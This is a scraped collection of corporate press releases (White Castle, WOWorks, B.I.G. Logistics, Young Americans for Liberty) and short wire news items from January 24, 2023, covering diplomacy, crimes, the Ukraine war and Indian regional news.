Whirlpool Corporation (NYSE: WHR) is committed to being the best global kitchen and laundry company, in constant pursuit of improving life at home. In an increasingly digital world, the company is driving purposeful innovation to meet the evolving needs of consumers through its iconic brand portfolio, including Whirlpool, KitchenAid, Maytag, Consul, Brastemp, Amana, Bauknecht, JennAir, Indesit, Yummly and InSinkErator. In 2021, the company reported approximately $22 billion in annual sales, 69,000 employees and 54 manufacturing and technology research centers. Additional information about the company can be found at WhirlpoolCorp.com.

Media Contact:

Kelly Bradley

[email protected]

312.661.1050

[1] Data from a survey conducted by OnePoll on behalf of Maytag from July 26 to August 2, 2022, with a panel of 2,000 dog and cat owners.

[2] Comparing Normal cycle with Pet Pro Filter and option to cycle using traditional agitator without Pet Pro Filter and option. Results will vary based on fabric and type of pet hair.

SOURCE Whirlpool Corporation
Variety of merch available at House of Crave to get Cravers "in the mood"

COLUMBUS, Ohio, Jan. 24, 2023 /PRNewswire/ -- White Castle, America's first fast-food hamburger chain, is fully embracing Valentine's Day from head to toe with a new line of merchandise specifically designed to celebrate the day. Whether you plan to celebrate with sliders at the Castle or at home, the new line of exclusive merchandise has you covered! Cravers can head to White Castle's online store, House of Crave, to check out and purchase this "love-ly" swag, including:

White Castle is fully embracing Valentine's Day with a new line of merchandise designed to celebrate the day. Tweet this Variety of White Castle merch available at House of Crave to get Cravers "in the mood."

Love Castle robe: This soft-to-touch purple robe featuring a red belt is perfect for lounging and relaxation on Valentine's day (and on the other 364 days of the year).

Love Castle sunglasses: These heart-shaped glasses are the perfect accessory piece for your date-night attire.

White Castle tee-shirts: The Love Castle Candy Tee and the Love Castle Crave Tee crew neck shirts allow you to wear our heart on your sleeve.

"Cravers are certainly passionate about White Castle and Valentine's Day, and these new items are the perfect way to celebrate both," said Jamie Richardson, vice president at White Castle. "Valentine's Day only comes around once a year, but you can spread the love all year long with a stylish tee-shirt, a cool pair of shades and a luxurious Love Castle silky robe."

And to make it even easier to share the love on Feb.14, customers of all ages can print out and give away these White Castle-themed Valentine's cards to family, friends, classmates and others at no cost.

White Castle's Beloved Valentine's Day Dinner is back!

The Valentine's Day apparel will serve as the perfect attire for the return of White Castle's Valentine's Day in-Castle dinner experience after a two-year absence. The event on Feb. 14 from 4 to 9 p.m. at participating White Castle restaurants transforms the dining room into fine dining establishments, complete with hostess seating, tableside service and festive holiday decor.

There's only one catch: Reservations are required, and with reservations expected to fill quickly, guests are encouraged to sign up early at OpenTable.com. Participating Castles can be found at WhiteCastle.com/locations (scroll down to "Celebrate Valentine's Day at the Castle!").

"Valentine's Day is the day when White Castle becomes Love Castle, and we can't wait to celebrate it in person in 2023," said Jamie Richardson, vice president at White Castle. "It's an opportunity to gather with those we love and savor the flavor of all the Castle has to offer, all in a festive atmosphere with affordable prices that won't bust anyone's budget. This is what feeding the souls is all about, and we're excited that the tradition we have loved and missed is back!"

2023 marks the 32nd year that White Castle has observed Valentine's Day with a special celebration. The last in-person Valentine's Day dine-in experience in 2020  just a few weeks before COVID shut everything down  attracted more than 30,000 Cravers.

About White Castle

White Castle, America's first fast-food hamburger chain, has been making hot and tasty Sliders since 1921. Based in Columbus, Ohio, the family-owned business owns and operates more than 350 restaurants as well as a retail division providing its famous fare in freezer aisles of retail stores nationwide. As part of its commitment to offering the highest quality products, White Castle owns and operates its own Slider Provider meat plants, bakeries and frozen-Slider retail plants. White Castle has earned numerous accolades over the years including Time magazine's "Most Influential Burger of All Time" (2014, The Original Slider) and Thrillist's "Best Plant-Based Fast-Food Burger" (2019, Impossible Slider). In 2021, Fast Company named the fast-food pioneer one of the "10 Most Innovative Dining Companies." White Castle, which earned the Great Place to Work Certification in 2021 and 2022, is known for the legendary engagement of its team members, more than 1 in 4 of whom have worked for the business for at least 10 years. White Castle is beloved by its passionate fans ("Cravers"), many of whom compete each year for entry into the Cravers Hall of Fame. The official White Castle app makes it easy for Cravers to sign up for the Craver Nation loyalty program, access sweet deals and place pickup orders at any time. They can also have their orders delivered using one of White Castle's delivery partners. For more information on White Castle, visit whitecastle.com.

SOURCE White Castle
Family of Restaurant Concepts Show Expansive Growth in 2022 with the Addition of Two New Brands, New Store Openings, Multiple Signed Franchise Agreements, New Leadership Hires, and Tech Partnerships

ST. PETERSBURG, Fla., Jan. 24, 2023 /PRNewswire/ -- WOWorks, the holding company of better-for-you restaurant brands, Saladworks, Frutta Bowls, Garbanzo Mediterranean Fresh, The Simple Greek, Barberitos Southwestern Grille and Cantina, and Zoup! Eatery, achieved strong growth in 2022 with multiple openings and franchise signings, plus the addition of Barberitos Southwestern Grille and Cantina and Zoup! Eatery to its growing portfolio. It's set up for continued success in 2023 with refreshed tech partnerships and new culinary and c-level executive hires to help lead the way.

The WOWorks' expansion of its better-for-you restaurant concepts in 2022 included 14 openings (four Saladworks, two Frutta Bowls, one Garbanzo Mediterranean Fresh, three Zoup! Eatery, and four co-branded locations)  and 21 new signings (eight Saladworks, two Garbanzo Mediterranean Fresh, eight Frutta Bowls including co-branded locations, two Barberitos Southwestern Grille and Cantina and one Zoup! Eatery). The brand's growth numbers illustrate the demand for healthy, delicious, and unique fast-casual dining options.

Other notable WOWorks growth milestones and key accomplishments in the past year include:

WOWorks expands its leadership with bringing on top talent, including two Chief Brand Officer positions to help drive accelerated growth for its brands, along with a Chief Information Officer, a Chief Development Officer, two Vice President of Marketing roles and two new culinary roles.

expands its leadership with bringing on top talent, including two Chief positions to help drive accelerated growth for its brands, along with a Chief Information Officer, a Chief Development Officer, two Vice President of Marketing roles and two new culinary roles. Saladworks announced its menu is now available for on-the-go meals, takeout, and delivery through partnership with two new Kitchen United Mix Food Hall locations in Columbus, Ohio .

. WOW orks streamlined its restaurants operations, processes and boosted their guest loyalty program through new technology partnerships, creating efficiency and consistency between brands. This partnership enables WOW orks to add unlimited, integrated virtual brands. Technology updates and additions include:

o QU -- cloud-based Point-of-Sale (POS) system with a fully integrated platform.

o OLO Rails -- allows the management of a single, centralized menu that is automatically pushed to third-party marketplaces, and the ability to manage multiple menus for a single location.

o OLO Dispatch -- offers branded delivery directly through each WOW orks restaurant brand's sites and apps, allowing for the ownership of the relationship between brand and guest.

o PUNCHH -- allows for direct messaging to a guest's phone and email, a loyalty program and the ability to run campaigns and restaurant promotions.

o World Pay -- merchant services and payment processing provider that offers a payment gateway for online transactions.

orks streamlined its restaurants operations, processes and boosted their guest loyalty program through new technology partnerships, creating efficiency and consistency between brands. This partnership enables orks to add unlimited, integrated virtual brands. Technology updates and additions include: o o o orks o o WOW orks' brands raised a total of $150,000 for No Kid Hungry, providing 1.5 million meals for children facing food insecurity.

orks' brands raised a total of for No Kid Hungry, providing 1.5 million meals for children facing food insecurity. Saladworks opened seven Ghost Kitchen locations through its partnership with Combo Kitchen.

WOW orks opened two new REEF Hubs through partnership with REEF Technology

orks opened two new REEF Hubs through partnership with REEF Technology WOW orks opened four Co-Branded Locations

orks opened four Co-Branded Locations WOWorks is committed to sourcing all of their turkey and pork from farms that have earned an independent animal welfare certification recognized by the ASPCA Shop With Your Heart program to come by 2027 or sooner.

"This past year was not only a year of growth, but a year that reinvigorated WOWorks and the better-for-you restaurant brands within the portfolio," said Kelly Roddy, CEO of WOWorks. "We set ourself up for success and look forward to continued innovation, strategy, and brand growth in the new year."

WOWorks franchise owners come from diverse backgrounds, including existing franchise owners of different brands, various business ownership backgrounds in construction, hotels, and fitness, former professional athletes and military veterans. The company has franchising opportunities available in 49 states (all states excluding Hawaii) and offers 25 percent off franchise fees for veterans and first responders.

If you are interested in owning a WOWorks restaurant brand franchise, visit https://woworksusa.com/a-place-to-invest/ to learn more.

ABOUT WOWORKS:

WOWorks was formed in 2020 with a mission to help guests pursue their passions and live their best lives by serving healthier for you and flavorful meals along with its Vow to "WOW!" guest hospitality. Fully owned by Centre Lane Partners, LLC, WOWorks' portfolio, in addition to its newest brands, Barberitos Southwestern Grille and Cantina and Zoup! Eatery, consists of: Saladworks, the nation's leading fast-casual salad brand; Frutta Bowls, a unique restaurant franchise serving a variety of superfood bowls, fresh fruit smoothies, protein bites and more; Garbanzo Mediterranean Fresh, a popular Mediterranean restaurant concept; The Simple Greek, which offers a fresh and healthy take on traditional Greek recipes in a fast-casual setting. WOWorks seeks to drive explosive growth across all of its brands through a variety of channels, both traditional and non-traditional, including ghost kitchens, food trucks, grocery retail and more.

SOURCE WOWorks
LAREDO, Texas, Jan. 24, 2023 /PRNewswire/ -- Xcell Logistics Services today announced the opening of an additional warehouse in Laredo, Texas. Recently acquired by Dallas-based B.I.G. Logistics, the new facility located at 502 Nafta Blvd will meet the growing demand for the company's logistics services in the region and further solidify B.I.G. Logistics' presence on both sides of the border offering critical north and southbound customs brokerage, transportation and warehousing services.

Stephen Russell (CEO at SecurCapital), Cedric Sosa (President & CEO at Xcell Logistics ), Roberto Sosa (Founder at Xcell Logistics ) in front of Laredo International Airport. Xcell Logistics Services

B.I.G. Logistics, LLC, a SecurCapital Corp portfolio company, is a leading third-party logistics provider (3PL) deploying a technology-enabled warehouse management IT platform in warehouses throughout Texas and Mexico with plans to open a Santa Teresa, New Mexico facility later this year.

Cedric Sosa, Xcell Logistics Companies CEO, said, " We are delighted to immediately expand our 3PL warehouse footprint in Laredo's crucial cross-border, high-demand market after our merger with B.I.G. Logistics.

He further offered, "We are in the right place at the right time," sharing compelling figures about the cross-border traffic awaiting the combined companies. "Year to date, Laredo represents 37% of trade by value between the US and Mexico with a figure of $243.8 billion. For importers and exporters on both sides of the border, Xcell Logistic Corporation in Mexico offers wide coverage of existing offices in all major ports of entry enabling cross-border, single turnkey solutions for our USA and global customers."

B.I.G. Logistics CEO Vinod Baliga added, "You can never have too many additional warehouses and cross dock facilities for our expanding customer base in Laredo. We have now completed our strategic Texas footprint, including a second facility in Laredo. B.I.G. now operates on the border with our legacy station in El Paso and added Laredo presence and our seven new Xcell stations in Mexico. This positions B.I.G. Logistics as a dominant supply chain solutions provider on both sides of the border."

Jointly, the companies offer pharmaceutical-licensed, 3PL cross dock and temperature-controlled warehouses, fulfillment, transload, customs brokerage, and operate Foreign Trade Zone (FTZ) facilities, light manufacturing, and e-commerce services. The new combined companies offer complete lifecycle management of international and domestic air, ocean, ground, custom brokerage, and project cargo.

Steve Russell, CEO, SecurCapital, said: "We're excited to rapidly expand our warehouse capabilities just weeks after the acquisition of Xcell Logistic Services in Laredo and Mexico. Our high-quality infrastructure logistics platform supports our Fortune 500 clients and active domestic and international agent networks as a clear logistics leader on both sides of the southern border."

About Xcell Logistics Services, Inc.

Xcell Logistics was established in 1992 in Mexico and the USA. The company offers fully integrated customs brokerage and international air and ocean services as well as LTL, FTL and flatbed trucking throughout Canada, the USA, and Mexico. Xcell has eight offices including the group's headquarters in Mexico City and Guadalajara, Monterrey, Laredo, Nuevo Laredo, Manzanillo, Lazaro Cardenas, and Veracruz. For more information visit: https://xcell-logistic.com

About B.I.G. Logistics, LLC

In 2016, a group of financial, technology and logistics industry professionals with aggressive growth plans and strong financial backing acquired a twenty-five-year-old company KFS, Inc. and rebranded it as B.I.G. Logistics, LLC acquired by SecurCapital Corp in April 2021. The firm currently has three state-of-the-art facilities in Texas: Alliance Fort Worth (AFW), Dallas Fort Worth (DFW), and El Paso (ELP). B.I.G. Logistics operates a field office located in Houston (IAH), and a new field office in Huntsville, Alabama and West Coast gateway office in Los Angeles, California. For more information, visit https://www.B.I.G.Logistics.com .

About SecurCapital Corp

SecurCapital and its investment portfolio operating companies are proven supply chain, financial services, and 3PL warehouse operators and lenders empowering logistics and diverse businesses within domestic and international markets. The company was founded in 2017 headquartered in Los Angeles, CA and is operated by logistics, "cloud pioneers" and financial services veterans. SecurCapital offers a broad range of services to customers domestically and internationally, wholesalers, distributors, and mid-tier logistics enterprises. The company's portfolio companies provide mission-critical end-to-end supply chain services with proven Mexican cross-border turnkey operations and custom brokerage. For more information visit http://www.securcapital.com.

Media contact:

Dyana Flanigan

Flanigan Communications, Inc.

[email protected]

312-213-6233

SOURCE B.I.G. Logistics
Youth liberty organization invests to make school choice, educational freedom top priorities in 2023

AUSTIN, Texas, Jan. 24, 2023 /PRNewswire/ -- Today, Young Americans for Liberty (YAL)the nation's most active youth liberty organizationannounced a nationwide mobilization on behalf of educational freedom in celebration of National School Choice Week, which begins on Sunday, January 22nd.

As a $13 million organization, YAL plans to invest significant resources into the effort, mobilizing thousands of student activists and supporting key members of its Hazlitt Coalition as they advance school choice bills in state legislatures.

With YAL's support, the Hazlitt Coalitiona growing network of more than 320 pro-liberty legislators in over 40 stateswill be particularly active in Alabama, Arkansas, Georgia, Idaho, Indiana, Iowa, Missouri, Ohio, Pennsylvania, South Carolina, Tennessee, Texas, and Virginia.

In YAL's home state of Texas, YAL has already knocked hundreds of doors in recent weeks, supporting Sen. Mayes Middleton (R-District 11)a longtime Hazlitt memberafter he introduced SB 176, a school choice bill that would bring educational freedom to every student in the Lone Star State.

In 2023, school choice and educational freedom are two of the top policy priorities for YAL, which aims to make over 100 million Americans more free this year alone. To that end, Hazlitt members have already filed hundreds of pieces of pro-liberty legislation, and many will be passed. Last year, the Hazlitt Coalition helped make 91 million Americans more free, supporting parental and student rights in the process.

Along with knocking doors, making phone calls, and sending out texts, YAL students aim to host at least 50 screenings of the 2019 film Miss Virginia across the country during National School Choice Week.

"We are proud to celebrate National School Choice Week with parents, students, and activists around the country," said YAL Chief Strategy Officer Brendan Steinhauser, a longtime advocate for educational freedom. "The time for school choice is now, and Young Americans for Liberty will be fighting every day to pass school choice bills in state after state this year.

We will win many of these battles because our grassroots activists will be knocking on doors and making phone calls to demand that their elected representatives support school choice for all students."

You can follow YAL on Twitter @YALiberty.

Young Americans for Liberty is the nation's most active youth liberty organization. YAL represents over 5,000 student activists at more than 500 colleges and universities across the country. The organization's Hazlitt Coalition, dedicated to advancing the cause of liberty at the state level, includes over 320 pro-liberty legislators from more than 40 states.

Media Contact: Carter Quill

Email: [email protected]

SOURCE Young Americans for Liberty
The Uzbek-Kyrgyz summit at the highest level will be held in Kyrgyzstan's capital Bishkek, on January 26-27, Uzbekistans President Shavkat Mirziyoyev's press service says.

According to the source, President Mirziyoyev will pay a state visit to Kyrgyzstan at the invitation of the President of the Kyrgyz Republic Sadyr Japarov.

The agenda of the high-level talks includes the whole range of issues of further strengthening of Uzbek-Kyrgyz relations, as well as the development of strategic partnerships in various fields.

In particular, increasing mutual trade, supporting industrial cooperation programs, and promoting regional infrastructure projects.

Following the summit, it is planned to adopt a package of joint documents.
Bahraich, Jan 24 : A teenage girl was killed while her three sisters sustained severe injuries when an LPG cylinder exploded in Jhala village of Uttar Pradesh's Bahraich district.

The incident took place on Monday when one Jan Jahan was boiling milk on a gas stove and the gas cylinder exploded.

Nisha Bano, 17, daughter of Shabbir died due to the explosion while her three other sisters were injured after being buried under the debris.

Three other houses were also damaged.

The police spokesman said that the injured have been admitted at the community health centre in Motipur where their condition is stated to be critical.
Prayagraj, Jan 24 : The Allahabad High Court has approved the anticipatory bail plea of Vishwa Hindu Sena general secretary, Digvijay Choubey, who had threatened to demolish the disputed Gyanvapi complex in Varanasi.

Besides approving the bail plea, the court also invoked a ban on his arrest. Digvijay Choubey had threatened to "make the condition of Gyanvapi like Babri".

However, the anticipatory bail has been granted until the police file the chargesheet.

The bail plea was heard by Justice Subhash Chand Sharma.

In August 2022, Choubey had announced to perform religious rituals on the disputed premises. He also threatened to demolish the disputed premises. He was arrested after a case was filed against him at the Bhelupur police station in Varanasi.
Ankara, Jan 24 : Turkish President Recep Tayyip Erdogan has warned Sweden that it should not expect Turkey's backing to join the NATO following the burning of the Quran outside the Turkish Embassy in Stockholm.

"Those who allow such disgraceful acts in front of the Turkish Embassy in Stockholm can't expect good news from us on NATO membership," Erdogan said on Monday at a press conference after the cabinet meeting.

No individual has the freedom to insult the faith of Muslims or other religions, he was quoted by Xinhua news agency as saying.

Saturday's burning of a copy of the Quran by Rasmus Paludan, leader of the Danish far-right political party Hard Line, came at a time when Sweden, along with Finland, was seeking Turkey's backing to join NATO.

The bid has been blocked by the Turkish government, which accuses Sweden and Finland of supporting anti-Turkey groups.

The Nordic states have pledged to support Turkey's fight against terrorism and agreed to address Ankara's pending deportation or extradition requests for "terror" suspects. But the Turkish parliament has not ratified their membership yet.
Tehran, Jan 24 : The Iranian Parliament Speaker has called for expanding cooperation with Russia, as both countries face "cruel" US sanctions.

Mohammad Baqer Qalibaf made the remarks during a joint press conference in Tehran with visiting Chairman of the Russian State Duma Vyacheslav Volodin, Xinhua news agency reported, citing a report by ISNA news agency.

The "cruel" US sanctions are the biggest threats to Iran, Russia, and some other countries, Qalibaf told the press conference, which was held after the third meeting of the Supreme Joint Parliamentary Commission of Iran and Russia.

During the meeting, the two sides discussed the expansion of cooperation, investments in the oil and gas sector, and gas swap.

They also talked about cooperation in the fields of agriculture, cereals trade, the application of modern technologies, and transport, as well as in the banking and monetary sector.

Qalibaf called on Iranian and Russian banks to open branches in both countries, so as to enable the use of their respective national currencies in bilateral trade and business transactions.

For his part, Volodin said relations between Russia and Iran have reached an "excellent level" and have expanded at different levels.

A comprehensive contract is being prepared to be signed between the two countries, which will greatly improve their relations, he added.

Commenting on the US sanctions imposed on both Russia and Iran, Volodin said they only lead to greater solidarity between the two countries.

Volodin arrived in the Iranian capital on Sunday night, leading a number of Russian officials.

Latest updates on Russia-Ukraine War
Des Moines, Jan 24 : Two students were killed and an adult employee was injured in a "targeted shooting" at a Des Moines school in US' Iowa state, the police said.

Three suspects have been arrested in connection to the shooting at the school dedicated to helping at-risk youth.

According to police, emergency crews were called to the school at around 1 p.m. on Monday. Officers arrived to find two students critically injured, who later died at a hospital. The adult employee of the school, who was injured, is in serious condition.

Acting swiftly on the witnesses' description, the police took three suspects travelling in a car into its custody within 20 minutes of the incident.

The police have said that the incident was "definitely targeted" and there was "nothing random" about this.
Brussels, Jan 24 : European Union (EU) military assistance to Ukraine will be topped up by a further 500 million euros ($543 million), foreign ministers have agreed.

Training for the country's military worth 45 million euros has also been agreed, EU foreign chief Josep Borrell was quoted by Xinhua news agency as saying.

"This is the seventh package of military aid for Ukraine," Borrell told a press conference after the EU foreign ministers' meeting.

This brings the total amount of military financial aid to Ukraine financed through the European Peace Facility to 3.6 billion euros. Meanwhile, total EU support for the country is now approaching 50 billion euros, making the EU the leading provider of aid to Ukraine.

The ministers also discussed the situation in Iran, reaching an agreement on a fourth package of sanctions on 37 Iranian officials, high-level figures and organisations. These include units of the powerful Revolutionary Guard Corps.

Among the persons subject to sanctions are representatives of the government and Iranian parliament, important political and media figures, and high-ranking members of the Iranian security forces.

However, Borrell said that Iran's Revolutionary Guard Corps could not be listed as a terrorist group without a court decision. (1 euro = $1.09)

Latest updates on Russia-Ukraine War
Washington, Jan 24 : A Capitol Hill rioter who posed with his feet propped up atop former House of Representatives Speaker Nancy Pelosi's desk has been found guilty of all charges.

Richard "Bigo" Barnett was among the crowd of thousands of supporters of former President Donald Trump who stormed Congress on January 6, 2021, in an attempt to overturn the 2020 presidential election result, reports the BBC.

The former House Speaker was forced to flee the chamber floor with other lawmakers as the protesters stormed their way into the building.

Armed with a stun gun, Barnett, a former firefigher, posed for photos after breaking into Pelosi's office and boasted of stealing an envelope before leaving the premises.

He also wrote a note on her desk using a sexist slur, and used a bullhorn to brag to the crowd that "I took Nancy Pelosi's office".

On Monday, a jury in Washington D.C. deliberated for less than three hours before convicting the 62-year-old of all eight charges against him, which include obstruction of an official proceeding; entering and remaining in a restricted building or grounds with a deadly weapon; and theft of government property.

Prosecutors argued that Barnett came to Washington D.C. from his home in Arkansas "prepared for violence".

Barnett, who chose to testify in his own defence during the trial, argued that he was caught up "in the moment" and was "going with the flow", the BBC reported.

After the verdict was read on Monday, Barnett said he did not get a fair trial because the jury was not made up of his "peers".

His lawyer, Joe McBride, said he would appeal.

"Washington D.C., is not a state. He's not surrounded by people of Arkansas, where he came from," the BBC quoted McBride, referring to the city's status as a district rather than one of the 50 US states, as saying.

The judge allowed Barnett to remain free until his sentencing hearing on May 3. He is facing decades in federal prison.

Barnett's trial has been one of the most high-profile to stem from the riot.

Over 940 people have been charged with federal crimes related to the breach and nearly 500 have pleaded guilty so far.
Lucknow, Jan 24 : A woman has lodged a complaint against her husband for hiding his marital status and her father-in law for trying to outrage her modesty and torture.

In her complaint given to the Mohanlalganj police, the victim said she married a man in December 2020 and since then he has been beating her and demanding more dowry.

"My husband is a drunkard and used to beat me almost every day and forced me to bring more dowry from my parents who gave him Rs 5 lakh cash and a car besides other items," she said.

She further said eight months after her marriage she came to know that he was already married to a Barabanki woman and had a one-year-old son.

"It was shocking for me. When I confronted him, instead of admitting his fault, he poured kerosene on me and attempted to burn me alive. I somehow saved myself," she said.

The victim further alleged that her father-in-law used to harass her and touch/grope her whenever he found her alone.

SHO, Mohanlalganj, Kuldeep Dubey, said an FIR have been lodged against the two and action would be taken after initial investigations are over.
Lucknow, Jan 24 : Two days after a Class 8 girl at a private boarding school went unconscious and was later declared dead at a hospital in Bakshi Ka Talab, the police have lodged a case of murder based on the complaint of the parents.

The autopsy report also mentioned injuries on her hip and ankle.

Additional DCP, North Zone, Abijith Shankar, said that late Monday they got a complaint following which an FIR under the charges of murder has been registered.

Senior police officers said that findings of the autopsy report along with the videography conducted will be sent to forensic experts to ascertain the circumstances that caused the death.

The victim girl had been studying in the school since 2017 when she was in Class 3 and stayed in a hostel with three other girl students.

On Friday, she went unconscious while taking a stroll after dinner.

She was rushed to a hospital, where doctors declared her dead.

While the school maintained that she had died of cardiac arrest, her family suspected foul play.
Lucknow, Jan 24 : In order to create new avenues of income for the government schools so that they become financially self-reliant, the Uttar Pradesh government is mulling a proposal to allow all secondary schools affiliated to the UP Board to offer their premises on rent for private events.

The department of secondary education in UP has prepared a policy draft and sought suggestions from the public.

Mahendra Dev, director of education, said that the proposal has been uploaded on the official website of the Uttar Pradesh Madhyamik Shiksha Parishad.

The draft policy proposes that these institutions can generate funds using own resources by allowing the school premises to be used for hosting marriage functions and other celebrations during school holidays, allowing events like sports, cultural activities and exhibitions on vacant school land, allowing planting of crops on free land besides running nursery or Montessori classes as well as computer vocational training after school hours or even developing commercial gym and swimming pool on the campus.

The policy also proposes setting up a committee at the district level to consider the proposals and grant permission.

The six-member committees would be headed by the district magistrate as its head, chief development officer as its vice-president, the district inspector of schools as its member secretary, besides the finance and accounts officer and the manager and the principal of the school concerned as members.

According to the state policy guidelines, the schools would first need to get the proposal approved at the general body meeting of their management committees and then send it to the district-level committees for approval.

The approval would be granted to only those proposals that do not impact the regular teaching and learning of the school or lead to a permanent or semi-permanent construction. The schools would also have to agree to get the earning accounts duly audited by a chartered accountant and provide the same to the committee for scrutiny.

They also need to upload them on their official websites for transparency.
Warsaw, Jan 24 : Polish Prime Minister Mateusz Morawiecki said that his government would request authorisation from Germany to send the Leopard 2 tanks to Ukraine.

But he also said that Poland would send the tanks to Ukraine, even if authorisation was not granted, reports the BBC.

The Prime Minister's remarks came a day after German Foreign Minister Anna Baerbock said on Sunday that she "would not stand in the way" of Poland if it were to send Leopard 2 tanks to Ukraine, adding that Warsaw was yet to ask for export permission.

"For the moment the question has not been asked, but if we were asked we would not stand in the way," she told France's LCI TV.

In response to her statement, Morawiecki said on Monday that "even if ultimately we did not get this consent, within the framework of a small coalition... we will still hand over our tanks, together with others, to Ukraine".

Also on Monday, the Polish president's foreign policy adviser, Marcin Przydacz, said he welcomed Baerbock's announcement, but would prefer to hear Germany's position confirmed by Chancellor Olaf Scholz.

"It turns out that through talks and diplomatic actions, Poland is able to change the German position," Przydacz told Polish Radio.

Speaking to the BBC on the development, Ukrainian Foreign Minister Dmytro Kuleba said that Germany had the power to "save the lives of many Ukrainian soldiers".

He appealed to all countries willing to send Leopard 2 tanks to "immediately, officially request the German government to allow delivery of these tanks to Ukraine".

"This is the move that will make the whole situation crystal clear and we will see where it takes Germany. This is something that needs to be done right away and everything will become obvious," he told the BBC on Monday.

Kuleba later told Ukrainian national TV that he was "confident" Germany would supply the tanks eventually.

"We already received British Challenger. They said it would be impossible... Every time in the end we obtained the desired result. We will have it this time as well." Last week, Morawiecki had said that Poland was ready to provide 14 Leopard 2s for Ukraine.

Polish government official however opined that the 14 tanks will have a limited impact on Ukraine's fighting capacity and that Warsaw would ultimately want Germany and other NATO allies to also send their own Leopards.

The Leopard 2 tanks were specifically designed to compete with the Russian T-90 tanks, which are being used in the ongoing invasion, the BBC reported.

There are believed to be more than 2,000 of them worldwide and Ukraine President Volodymyr Zelensky said about 300 of them would help ensure a Russian defeat.

Under current regulations, Germany must also sanction any re-export of its tanks by other countries, such as Poland.

Latest updates on Russia-Ukraine War
Gorakhpur : , Jan 24 (IANS) The Railway Protection Force (RPF) have arrested a man for performing a dance in a teddy bear outfit at a railway crossing.

A video of the act had gone viral on social media.

The accused, a resident of Kundaghat under Shahpur police station, has been booked under the Railway Act 145 (nuisance).

The arrested man has been identified as Sunil Kumar, 22.

He has 1,600 followers on his YouTube channel and Instagram account called 'Teddy Godfather'.

According to the RPF, the video of Sunil Kumar's act was shot by bystanders on Sunday evening, when he jumped a manned level crossing as express and freight trains were passing by.

Chandra Mohan Mishra, senior commandant of the north-eastern railway (NER), said "Sunil not only violated the railway norms but also risked his life. He was arrested by sub-inspector Deepak of Gorakhpur Cantt railway station RPF post." The accused said he earns a living by playing the role of a teddy bear at children's birthday parties, fairs, and public parks.
Seoul, Jan 24 : North Korea's state TV has aired a documentary film praising the country's success in tackling the coronavirus pandemic last year amid efforts to prevent another outbreak.

The documentary, aired on the Korean Central Television on Monday night, introduced Pyongyang's anti-virus measures since the country announced its first Covid-19 case in May last year, recalling the pandemic period as the greatest "disturbance since the founding of the country", reports Yonhap News Agency.

"The threat of the malicious virus invading our territory was a problem, but the bigger problem was that the country had weak quarantine and health infrastructures, and we had to get through an unprecedented crisis when the economy was in a very difficult situation from the two-year virus crisis," the documentary said.

The film also hailed the country for successfully tackling the pandemic in around 80 days, calling it a "miracle on this planet" and an "unprecedented event" in the North's history.

In August last year, North Korean leader Kim Jong-un declared victory over Covid-19 and ordered the lifting of Pyongyang's "maximum emergency anti-epidemic" measures, claiming an end to the pandemic three months after announcing its first case.

North Korean state media has been highlighting the country's successful anti-virus measures amid efforts to tighten discipline and prevent the spread of the coronavirus.
New Delhi, Jan 24 : Chief Minister of Himachal Pradesh Sukhvinder Singh Sukhu will meet Prime Minister Narendra Modi on Tuesday, this will be the first meeting between the two as last time Sukhu could not meet him due to Covid.

Sukhu on Monday had called on the President Droupadi Murmu and Vice President Jagdeep Dhankhar.

"Chief Minister of Himachal Pradesh Thakur Sukhvinder Singh Sukhu called on Smt Droupadi Murmu, President of India at New Delhi today. It was a courtesy call. This is his first meeting with the President of India after becoming the Chief Minister of Himachal Pradesh," said the Chief Minister's office.

He also meet Vice President Jagdeep Dhankhar, added the CMO.

The month-old Congress government in Himachal Pradesh has fulfilled a key poll promise, with the Cabinet, at its first meeting, deciding to provide the Old Pension Scheme (OPS) to all government employees, covered under the defined contributory pension scheme or National Pension System (NPS), on the pattern of party-ruled Rajasthan and Chhattisgarh.

This will benefit about 1.36 lakh NPS employees, as per official statement.
Badaun : , Jan 24 (IANS) A Dalit boy, aged 10 years, was allegedly killed by a group of upper caste men over a property dispute in Badaun district.

The Class 3 student went missing on Sunday evening and his body was found, hours later, hanging from a tree in the village farm.

The incident occurred in Rafatpur that has a mixed population of upper castes and Dalits.

The present village head is a Dalit.

According to the boy's family, Gurjeet, the victim, was playing in the farm near the disputed part of the land when the accused men caught the boy, strangled him to death and tied him to a tree.

The men fled after noticing a few villagers in the area.

The police said that the matter is being investigated and the body has been sent for post-mortem.
Beirut, Jan 24 : The displacement of Syrians has cost Lebanon more than $40 billion since the civil war broke out in the Arab nation in 2011, Lebanese Foreign Minister Abdallah Bou Habib said.

The minister made the remarks during his meeting with UN Special Coordinator for Lebanon Joanna Wronecka in Beirut, Xinhua news agency reported.

"Lebanon's hosting of a big number of Syrian refugees is beyond the country's capacity," Bou Habib said.

The Foreign Minister also called on the international community to recognize and appreciate Lebanon's contribution to the world by taking in millions of Syrian refugees.

According to the UN Refugee Agency, Lebanon is currently facing its worst socioeconomic crisis in decades and hosts the highest number of refugees per capita and per square kilometre worldwide.

The government estimates 1.5 million Syrian refugees and 13,715 refugees of other nationalities.

Ninety per cent of Syrian refugees are living in extreme poverty, with the majority of them settled in the Bekaa region.

While prices are skyrocketing due to a severe economic crisis, almost half of the Lebanese and 2/3 of the 1.5 million Syrian refugees are food insecure.

Some 90 per cent of Syrians, 73 per cent of Palestinian refugees, and over 50 per cent of Lebanese households currently need assistance.

Lebanon has struggled to deal with emergencies like the Beirut port blast, Covid-19, and a recently declared cholera outbreak.
New Delhi, Jan 24 : Welcoming the highest number of French-speaking immigrants since 2006, Canada said it has achieved its target of 4.4 per cent of Francophone newcomers outside Quebec in 2022.

This represents a significant jump of 3.02 per cent -- from 1.38 per cent in 2006 to 4.4 per cent in 2022.

"Today, we are proud to announce we have reached our target of 4.4 per cent French-speaking immigrants outside of Quebec in 2022 -- one year earlier than expected," Sean Fraser, Minister of Immigration, Refugees and Citizenship, announced on Monday.

Stating that Francophone immigrants are important to the cultural mosaic of communities across Canada, Fraser said: "We will continue to welcome French-speaking immigrants to ensure the viability of these key communities that are helping to shape the future of our country." English and French remain by far the most commonly-spoken languages in Canada with more than nine in 10 Canadians speaking one of the two official languages on a regular basis.

However, the proportion that French-speaking Canadians represent, dropped from 2016 (22.2 per cent) to 2021 (21.4 per cent).

Over the past year, more than 16,300 new immigrants have settled in Francophone minority communities across Canada.

During the first census year in 2006, the number of admissions of French-speaking residents outside Quebec was just over 2,800, according to Immigration, Refugees and Citizenship Canada (IRCC) data.

